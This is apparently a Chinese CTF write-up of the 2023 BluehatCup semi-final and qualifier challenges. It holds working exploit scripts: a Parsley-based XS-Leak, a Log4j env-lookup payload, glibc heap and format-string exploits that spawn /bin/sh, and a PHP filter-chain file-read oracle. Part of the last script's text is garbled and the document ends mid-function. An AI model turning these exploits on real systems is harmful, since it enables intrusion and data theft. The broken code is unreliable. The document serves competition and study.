2023 BluehatCup Semi-Finals WriteUp by 圣地亚哥皮蛋

被队友带飞了,本来一直是总榜第一,后来吉林大学的师傅们TQL,最后5min出了PWN侧信道成功反超我们,后面再加上取证我们也只能屈居分区第二(总榜第二)了呜呜呜~不过,好歹算是“有惊无险”进入决赛了,师傅们北京见!

Web

AirticleShare

原题,唯一的改动是把 show.php 改成了 lookup.php,不过题目环境不太好,一直把 sleep 改大 改到 6 才能顺利跑通

import requests
import time

s = requests.Session()

base_url = "http://112.74.185.213:46791/"

res = s.get(base_url)

pos = res.text.find('name="c" value="') + len('name="c" value="')
csrftoken = res.text[pos:pos+16]

ss = "1234567890abcdef"
flag = ""

for i in range(16):
    for j in ss:
        payload = f"<form data-parsley-validate><input data-parsley-required data-parsley-trigger=\"blur\" data-parsley-error-message='<input type=\"input\" id=like value=\"rebirth_is_really_nb\">' data-parsley-errors-container=\"a[href^='/lookup.php?id={flag + j}']\" autofocus></form>"
        data = {'c': csrftoken, 'content': payload}
        res = s.post(base_url + "add.php", data=data, allow_redirects=False)
        # print(res.headers)
        location = res.headers['Location']
        pos = location.find('id=') + 3
        wp = location[pos:]
        data = {'c': csrftoken, 'id': wp}
        res = s.post(base_url + "admin.php", data=data)
        time.sleep(6)

        res = s.get(f"http://112.74.185.213:46791/lookup.php?id={wp}")
        # print(res.text)
        txt = res.text.replace("\n", "").replace("\r", "")
        if "Liked by</h3>admin" not in txt:
            flag += j
            print(i,flag)
            break

然后带着这个 id 去访问

参考文章: https://blog.zeddyu.info/2020/01/08/36c3-web/#writeupbin

MyLinuxBot

根据代码和提示可以简单猜测和 log4j 相关的题目,但是这里没有给出 jar 包源码,说这个不关键

上网随手一搜搜出来了原题 GoogleCTF2022-Log4j

这里这道题只是对 python 代码做了简单的混淆,按照 https://y4tacker.github.io/2022/07/06/year/2022/7/GoogleCTF2022-Log4j/,直接打里面的非预期就能通

${bundle:${env:FLAG}}

pwn

Uaf

直接l用ubin可以leak,然后利用admin中的哪个任意地址写打exit_hook就行了

其实不至于这么麻烦的emmmm,然后发现只用里面的哪个格式化字符串就可以单独完成这个漏洞的利用:

#encoding = utf-8
import os
import sys
from pwn import *

context.os = 'linux'
context.arch = 'amd64'
context.log_level = "debug"

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

p = remote('120.78.209.16',40894)
#p = process('./main')
elf = ELF('./main')
libc = ELF('./libc-2.31.so')

def debug():
        gdb.attach(p)
        pause()

def choice(cho):
        sla('>> \n',cho)

def login():
        choice(5)
        sa('Passwd: \n','1234567890')

def pwn():
        login()
        #debug()
        sla("Tell me ur name: \n",'%19$p')
        ru('0x')
        libcbase = int(r(12),16) - 0x7fc55edc1083 + 0x7fc55ed9d000
        leak('libcbase',libcbase)
        exithook = libcbase + 0x222060 + 3848
        og = libcbase + 0xe6c7e
        sla('>> \n','2')
        p.sendafter('WRITE MODE: \n',p64(exithook))
        sleep(1)
        p.send(p64(og))
        itr()

if __name__ == '__main__':
        pwn()

'''
0xe6c7e execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe6c81 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe6c84 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL

'''

Admin

出题人万岁,退役之前还能拿个一血开心

非预期,就是过滤了flag但是没过滤f*就出了

cat f*

Crypto

ezrsa

等式前边通分、分子等分子、分母等分母

解方程

from Crypto.Util.number import *
from gmpy2 import *
import sympy
n = 161010103536746712075112156042553283066813155993777943981946663919051986586388748662616958741697621238654724628406094469789970509959159343108847331259823125490271091357244742345403096394500947202321339572876147277506789731024810289354756781901338337411136794489136638411531539112369520980466458615878975406339
c = 15380535750650959213679345560658190067564859611922563753882617419201718847747207949211621591882732604480600745000879508274349808435529637573773711729853565120321608048340424321537282281161623712479117497156437792084977778826238039385697230676340978078264209760724043776058017336241110097549146883806481148999
X = 153801856029563198525204130558738800846256680799373350925981555360388985602786501362501554433635610131437376183630577217917787342621398264625389914280509
Y = 8086061902465799210233863613232941060876437002894022994953293934963170056653232109405937694010696299303888742108631749969054117542816358078039478109426

p = sympy.Symbol('p')
q = sympy.Symbol('q')
f1 = p - q + 1 - (-X - 2 * Y)
f2 = p * q - n
result = sympy.solve([f1,f2],[p,q])
print(result)
p = 12774247264858490260286489817359549241755117653791190036750069541210299769639605520977166141575653832360695781409025914510310324035255606840902393222949771
q = 12604273285023995463340817959574344558787108098986028639834181397979984443923512555395852711753996829630650627741178073792454428457548575860120924352450409
phi = (p - 1) * (q - 1)
e = 0x10001
d = invert(e,phi)
m = pow(c,d,n)
print(long_to_bytes(m))

Re

justamat

一开始给v0赋值 there_are_a_lot_useless_information_but_oh.o0O_

然后是输出和读入的过程

这里v14就是输入的长度,根据长度选择流程,这里应该是大于15的

这里进行字符串拼接,动调发现就是str1+input+str2

然后用do...while写了一个遍历,把str1+input+str2​存入v5,也就是后面的v16

然后进这个函数中

双字节提取出来

这个do..while循环就是主要逻辑

这里直接 用z3求解

from z3 import*
s=Solver()
flag = [Int("flag%d" % i) for i in range(100)]
a = [0x0001C633, 0x0001DF94, 0x00020EBF, 0x0002BA40, 0x0001E884, 0x000260D1, 0x0001F9B1, 0x0001EA1A, 0x0001EEAA, 0x0001DFB2, 0x0001C1D0, 0x0001EEF2, 0x000216E1, 0x0002BE00, 0x0001FB5E, 0x00025D74, 0x0001F000, 0x000202D6, 0x00020002, 0x0001DDFE, 0x0001C017, 0x0001F08C, 0x000227F6, 0x0002C7BA, 0x000201AE, 0x00027FBF, 0x00020E21, 0x0001FF5C, 0x0001FD62, 0x0001E948, 0x0001BE6E, 0x0001F4D7, 0x00022C8D, 0x0002C353, 0x0001F8DB, 0x00026E1D, 0x0001FF61, 0x0001EA0F, 0x0001F0D6, 0x0001EDA8, 0x0001AD7D, 0x00018218, 0x0001CCD4, 0x000239B6, 0x0001AC4C, 0x00020D7C, 0x0001D967, 0x0001A4F4, 0x0001CAD8, 0x000196AE, 0x0001831B, 0x00017E45, 0x0001D0CF, 0x00023EDF, 0x000181AE, 0x00021760, 0x0001D3B4, 0x000175D6, 0x00017D3A, 0x0001994F, 0x0001189D, 0x00014CCF, 0x0001568E, 0x00017EEB, 0x0001327E, 0x00016A45, 0x00012921, 0x00011FF0, 0x00013643, 0x00011729, 0x00015191, 0x00017D17, 0x00017262, 0x0001A863, 0x00017010, 0x00017B10, 0x00014F9C, 0x000143E8, 0x00015E9B, 0x0001242C, 0x0000F68C, 0x0001192A, 0x000150AD, 0x0001B1A0, 0x00014C60, 0x000182AB, 0x00013F4B, 0x000141A6, 0x00015AA3, 0x000135C9, 0x0001D86F, 0x0001E8FA, 0x0002158D, 0x0002BDAC, 0x00020E4F, 0x00027EE6, 0x000213B9, 0x00020E86, 0x000211FF, 0x0001E1EF]
b = [0x000000FE, 0x0000000B, 0x0000001D, 0x000000F6, 0x00000083, 0x000000FF, 0x000000E0, 0x000000B8, 0x000000DD, 0x000000B0, 0x000000C5, 0x000000DE, 0x000000F6, 0x00000014, 0x0000009F, 0x000000DD, 0x000000D9, 0x00000007, 0x0000002D, 0x0000006B, 0x00000019, 0x000000CA, 0x00000073, 0x000000FD, 0x00000087, 0x00000072, 0x00000024, 0x00000004, 0x00000049, 0x0000007E, 0x000000A9, 0x000000CE, 0x00000091, 0x000000BE, 0x00000041, 0x00000018, 0x00000060, 0x0000003F, 0x0000002B, 0x00000063, 0x0000001C, 0x000000D2, 0x00000090, 0x000000E9, 0x0000008E, 0x000000BA, 0x0000001E, 0x000000F3, 0x00000041, 0x000000AD, 0x0000002C, 0x00000003, 0x00000069, 0x000000DA, 0x00000010, 0x000000FD, 0x000000FD, 0x000000E7, 0x00000006, 0x00000036, 0x000000D6, 0x00000002, 0x00000059, 0x00000018, 0x000000CC, 0x00000050, 0x00000087, 0x000000AF, 0x000000FB, 0x00000018, 0x00000044, 0x0000007F, 0x000000AD, 0x000000F8, 0x0000002C, 0x00000067, 0x0000001D, 0x00000022, 0x00000084, 0x000000AC, 0x0000000E, 0x00000023, 0x000000DC, 0x000000E6, 0x000000BB, 0x000000D2, 0x000000B8, 0x0000004A, 0x000000BC, 0x000000DE, 0x00000050, 0x0000009C, 0x0000001C, 0x0000001E, 0x00000086, 0x0000003A, 0x0000002D, 0x000000DD, 0x000000C3, 0x00000003]

print(len(a))
for j in range(10):
    for k in range(10):
        i = k
        v8 = 0
        for m in range(10):
            v9 = flag[j*10+m] * b[i+m*10]
            #i += 10
            v8 += v9
        s.add(v8==a[k+j*10])

if s.check() == sat:
    m = s.model()
    for f in flag:
        print(chr(m[f].as_long()),end='')

Misc

签到

排队队吃果果

每一列excel按照数值升序排序,然后粗的是1,可以用Excel条件格式批量实现:

重新设置一下宽高就好了:

flag{35b6f3ed-9d28-93b8-e124-39f8ec3376b2}

取证

1、

看字面意思应该是任务开始的时候

2、

3、

4、

手机取证软件直接就有

5、

取证软件里面就有

6、

​​c727420a290df2250001612e4d5c1b0​​

7、

火眼出

8、

​​6ada8fd70d0b2788fea737d8e2dcb27​​

9、

同上题图

10、

11、

12、

在sd卡里面找到找到calllog.txt用base64解密,就看到了通话记录

发现有两次

13、

两次,一次AES,一次base64

14、

找到了一个getkey的函数

里面对字符串lijubdyhfurindhcbxdw

根据函数特征猜测应该是base64加密后取前16位

bGlqdWJkeWhmdXJp

找到sms.txt解密发现有效

package script;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.util.Base64;
import javax.crypto.Cipher;

public class aes_dec {
    public static void decrypt() {
        try {
            String key= "bGlqdWJkeWhmdXJp";
            String enc = "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";
            byte[] enc_b64decode = Base64.getDecoder().decode(enc);
            SecretKeySpec key_init = new SecretKeySpec(key.getBytes("utf-8"), "AES");
            Cipher decode = Cipher.getInstance("AES/ECB/NoPadding");
            decode.init(Cipher.DECRYPT_MODE,key_init);
            byte[] enc_aesdecode = decode.doFinal(enc_b64decode);
            String flag = new String(enc_aesdecode, "utf-8");
            System.out.println(flag);
        }
        catch(Exception v5_1) {
            v5_1.printStackTrace();
        }
    }
}

15、

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2023 BluehatCup CTF partly WriteUp by 圣地亚哥皮蛋 | QUALS

这次CTF部分打的可以,抢了一个Misc二血。但是取证拉了。。。呜呜呜,要好好学取证了捏

PWN

takeway

就可以随意地址申请堆块,先改最大堆块数,然后在elf地址上泄露一个stdout,之后就打free_hook就行了,版本是2.31_9.9

#encoding = utf-8
import os
import sys
import time
from pwn import *
from ctypes import *
#from LibcSearcher import * 

context.os = 'linux'
context.log_level = "debug"

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

add_idx = 1
delete_idx = 2
edit_idx = 3
context.arch = 'amd64'
p = remote('101.200.234.115',46498)
#p = process('./takeway')
elf = ELF('./takeway')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so')

def debug():
        gdb.attach(p)
        pause()

def choice(cho):
        sla('Please input your choose: ',cho)

def add(idx,name,content):
        choice(add_idx)
        sla('Please input your order index\n',idx)
        sla('Please input your food name: ',name)
        sla('a remark: ',content)

def delete(idx):
        choice(delete_idx)
        sla('Please input your order index: ',idx)

def edit(idx,content):
        choice(edit_idx)
        sla('Please input index: ',idx)
        p.sendlineafter('New food name is: ',content)

def add1(idx,name,content):
        choice(add_idx)
        sla('Please input your order index\n',idx)
        p.sendlineafter('Please input your food name: ',name)
        p.sendlineafter('a remark: ',content)

def pwn():
        add(0,'banana','xj')
        add(1,'banana','xj')
        delete(0)
        delete(1)
        edit(1,p64(0x0404080))
        add(2,'banana','xj')
        add(3,'bananaa','fffffff')
        choice(edit_idx)
        sla('Please input index: ',3)
        ru('fff\n')
        out = uu64(r(6))
        leak('stdout',out)
        p.sendlineafter('New food name is: ','cat')
        libcbase = out-(0x7f881942f6a0 - 0x7f8819242000)
        leak('libcbase',libcbase)
        delete(0)
        delete(1)
        edit(1,p64(libcbase + libc.sym['__free_hook']))
        add(4,'cat','cat')
        choice(add_idx)
        sla('Please input your order index\n',7)
        p.sendafter('Please input your food name: ',p64(libcbase+libc.sym['system']))
        p.sendlineafter('a remark: ','aa')
        leak('free',libcbase + libc.sym['__free_hook'])
        edit(1,'/bin/sh')
        #debug()
        delete(1)
        #debug()
        itr()

if __name__ == '__main__':
        pwn()

'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL
'''

WEB

Lovephp

第一个 tricks https://bugs.php.net/bug.php?id=81151

第二个 tricks 是这里的这个参数怎么传入,在 ctfshow 中也有过相应题目,看到 main/php_variables.c#L105-L115:

/* ensure that we don't have spaces or dots in the variable name (not binary safe) */
for (p = var; *p; p++) {
    if (*p == ' ' || *p == '.') {
        *p='_';
    } else if (*p == '[') {
        is_array = 1;
        ip = p;
        *p = 0;
        break;
    }
}

为了某些特殊的需要,我们发现 PHP 会将 空格、. 转化为下划线,但是如果这里有 [ 的话会直接 break 掉,然后在 is_array==1 的时候会调用如下内容

main/php_variables.c#L191-L195

if (!ip) {
    /* PHP variables cannot contain '[' in their names, so we replace the character with a '_' */
    *(index_s - 1) = '_';

    index_len = 0;

这里我们的 [ 会被替换为 _ 但是后续却没有再继续进行 . 和 空格 的检测,最终构造 paylaod 如下:my[secret.flag=C:8:"Saferman":0:{}

然后就是 file() 函数的利用,参考 https://github.com/DownUnderCTF/Challenges_2022_Public/blob/main/web/minimal-php/solve/solution.py

http://tttang.com/archive/1395/#toc_craft-base64-payload

这里是一个 PHP Devlopment Sever,重新用脚本 fuzz 一下,直接读 /flag

import requests
import sys
from base64 import b64decode

"""
THE GRAND IDEA:
We can use PHP memory limit as an error oracle. Repeatedly applying the convert.iconv.L1.UCS-4LE
filter will blow up the string length by 4x every time it is used, which will quickly cause
500 error if and only if the string is non empty. So we now have an oracle that tells us if
the string is empty.

THE GRAND IDEA 2:
The dechunk filter is interesting.
https://github.com/php/php-src/blob/01b3fc03c30c6cb85038250bb5640be3a09c6a32/ext/standard/filters.c#L1724
It looks like it was implemented for something http related, but for our purposes, the interesting
behavior is that if the string contains no newlines, it will wipe the entire string if and only if
the string starts with A-Fa-f0-9, otherwise it will leave it untouched. This works perfect with our
above oracle! In fact we can verify that since the flag starts with D that the filter chain

dechunk|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|[...]|convert.iconv.L1.UCS-4LE

does not cause a 500 error.

THE REST:
So now we can verify if the first character is in A-Fa-f0-9. The rest of the challenge is a descent
into madness trying to figure out ways to:
- somehow get other characters not at the start of the flag file to the front
- detect more precisely which character is at the front
"""

def join(*x):
        return '|'.join(x)

def err(s):
        print(s)
        raise ValueError

def req(s):
        params = {
                'secret': f'php://filter/{s}/resource=/flag',
                "my[secret.flag":'C:8:"Saferman":0:{}'
        }
        return requests.post('http://39.105.5.7:45123/index.php', params=params).status_code == 500"""
Step 1:
The second step of our exploit only works under two conditions:
- String only contains a-zA-Z0-9
- String ends with two equals signs

base64-encoding the flag file twice takes care of the first condition.

We don't know the length of the flag file, so we can't be sure that it will end with two equals
signs.

Repeated application of the convert.quoted-printable-encode will only consume additional
memory if the base64 ends with equals signs, so that's what we are going to use as an oracle here.
If the double-base64 does not end with two equals signs, we will add junk data to the start of the
flag with convert.iconv..CSISO2022KR until it does.
"""

blow_up_enc = join(*['convert.quoted-printable-encode']*1000)
blow_up_utf32 = 'convert.iconv.L1.UCS-4LE'
blow_up_inf = join(*[blow_up_utf32]*50)

header = 'convert.base64-encode|convert.base64-encode'# Start get baseline blowupprint('Calculating blowup')
baseline_blowup = 0for n in range(100):
        payload = join(*[blow_up_utf32]*n)
        if req(f'{header}|{payload}'):
                baseline_blowup = n
                breakelse:
        err('something wrong')

print(f'baseline blowup is {baseline_blowup}')

trailer = join(*[blow_up_utf32]*(baseline_blowup-1))

assert req(f'{header}|{trailer}') == False

print('detecting equals')
j = [
        req(f'convert.base64-encode|convert.base64-encode|{blow_up_enc}|{trailer}'),
        req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode{blow_up_enc}|{trailer}'),
        req(f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KR|convert.base64-encode|{blow_up_enc}|{trailer}')
]
print(j)
if sum(j) != 2:
        err('something wrong')
if j[0] == False:
        header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode'
elif j[1] == False:
        header = f'convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KRconvert.base64-encode'
elif j[2] == False:
        header = f'convert.base64-encode|convert.base64-encode'else:
        err('something wrong')
print(f'j: {j}')
print(f'header: {header}')

"""
Step two:
Now we have something of the form
[a-zA-Z0-9 things]==

Here the pain begins. For a long time I was trying to find something that would allow me to strip
successive characters from the start of the string to access every character. Maybe something like
that exists but I couldn't find it. However, if you play around with filter combinations you notice
there are filters that *swap* characters:

convert.iconv.CSUNICODE.UCS-2BE, which I call r2, flips every pair of characters in a string:
abcdefgh -> badcfehg

convert.iconv.UCS-4LE.10646-1:1993, which I call r4, reverses every chunk of four characters:
abcdefgh -> dcbahgfe

This allows us to access the first four characters of the string. Can we do better? It turns out
YES, we can! Turns out that convert.iconv.CSUNICODE.CSUNICODE appends <0xff><0xfe> to the start of
the string:

abcdefgh -> <0xff><0xfe>abcdefgh

The idea being that if we now use the r4 gadget, we get something like:
ba<0xfe><0xff>fedc

And then if we apply a convert.base64-decode|convert.base64-encode, it removes the invalid
<0xfe><0xff> to get:
bafedc

And then apply the r4 again, we have swapped the f and e to the front, which were the 5th and 6th
characters of the string. There's only one problem: our r4 gadget requires that the string length
is a multiple of 4. The original base64 string will be a multiple of four by definition, so when
we apply convert.iconv.CSUNICODE.CSUNICODE it will be two more than a multiple of four, which is no
good for our r4 gadget. This is where the double equals we required in step 1 comes in! Because it
turns out, if we apply the filter
convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7

It will turn the == into:
+---AD0-3D3D+---AD0-3D3D

And this is magic, because this corrects such that when we apply the
convert.iconv.CSUNICODE.CSUNICODE filter the resuting string is exactly a multiple of four!

Let's recap. We have a string like:
abcdefghij==

Apply the convert.quoted-printable-encode + convert.iconv.L1.utf7:
abcdefghij+---AD0-3D3D+---AD0-3D3D

Apply convert.iconv.CSUNICODE.CSUNICODE:
<0xff><0xfe>abcdefghij+---AD0-3D3D+---AD0-3D3D

Apply r4 gadget:
ba<0xfe><0xff>fedcjihg---+-0DAD3D3---+-0DAD3D3

Apply base64-decode | base64-encode, so the '-' and high bytes will disappear:
bafedcjihg+0DAD3D3+0DAD3Dw==

Then apply r4 once more:
efabijcd0+gh3DAD0+3D3DAD==wD

And here's the cute part: not only have we now accessed the 5th and 6th chars of the string, but
the string still has two equals signs in it, so we can reapply the technique as many times as we
want, to access all the characters in the string ;)
"""

flip = "convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993|convert.base64-decode|convert.base64-encode"
r2 = "convert.iconv.CSUNICODE.UCS-2BE"
r4 = "convert.iconv.UCS-4LE.10646-1:1993"

def get_nth(n):
        global flip, r2, r4
        o = []
        chunk = n // 2if chunk % 2 == 1: o.append(r4)
        o.extend([flip, r4] * (chunk // 2))
        if (n % 2 == 1) ^ (chunk % 2 == 1): o.append(r2)
        return join(*o)

"""
Step 3:
This is the longest but actually easiest part. We can use dechunk oracle to figure out if the first
char is 0-9A-Fa-f. So it's just a matter of finding filters which translate to or from those
chars. rot13 and string lower are helpful. There are probably a million ways to do this bit but
I just bruteforced every combination of iconv filters to find these.

Numbers are a bit trickier because iconv doesn't tend to touch them.
In the CTF you coud porbably just guess from there once you have the letters. But if you actually 
want a full leak you can base64 encode a third time and use the first two letters of the resulting
string to figure out which number it is.
"""

rot1 = 'convert.iconv.437.CP930'
be = 'convert.quoted-printable-encode|convert.iconv..UTF7|convert.base64-decode|convert.base64-encode'
o = ''

def find_letter(prefix):
        if not req(f'{prefix}|dechunk|{blow_up_inf}'):
                # a-f A-F 0-9if not req(f'{prefix}|{rot1}|dechunk|{blow_up_inf}'):
                        # a-efor n in range(5):
                                if req(f'{prefix}|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
                                        return 'edcba'[n]
                                        breakelse:
                                err('something wrong')
                elif not req(f'{prefix}|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
                        # A-Efor n in range(5):
                                if req(f'{prefix}|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
                                        return 'EDCBA'[n]
                                        breakelse:
                                err('something wrong')
                elif not req(f'{prefix}|convert.iconv.CSISO5427CYRILLIC.855|dechunk|{blow_up_inf}'):
                        return '*'
                elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
                        # freturn 'f'
                elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
                        # Freturn 'F'else:
                        err('something wrong')
        elif not req(f'{prefix}|string.rot13|dechunk|{blow_up_inf}'):
                # n-s N-Sif not req(f'{prefix}|string.rot13|{rot1}|dechunk|{blow_up_inf}'):
                        # n-rfor n in range(5):
                                if req(f'{prefix}|string.rot13|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
                                        return 'rqpon'[n]
                                        breakelse:
                                err('something wrong')
                elif not req(f'{prefix}|string.rot13|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
                        # N-Rfor n in range(5):
                                if req(f'{prefix}|string.rot13|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
                                        return 'RQPON'[n]
                                        breakelse:
                                err('something wrong')
                elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
                        # sreturn 's'
                elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
                        # Sreturn 'S'else:
                        err('something wrong')
        elif not req(f'{prefix}|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
                # i j kif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'k'
                elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'j'
                elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'i'else:
                        err('something wrong')
        elif not req(f'{prefix}|string.tolower|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
                # I J Kif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'K'
                elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'J'
                elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'I'else:
                        err('something wrong')
        elif not req(f'{prefix}|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
                # v w xif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'x'
                elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'w'
                elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'v'else:
                        err('something wrong')
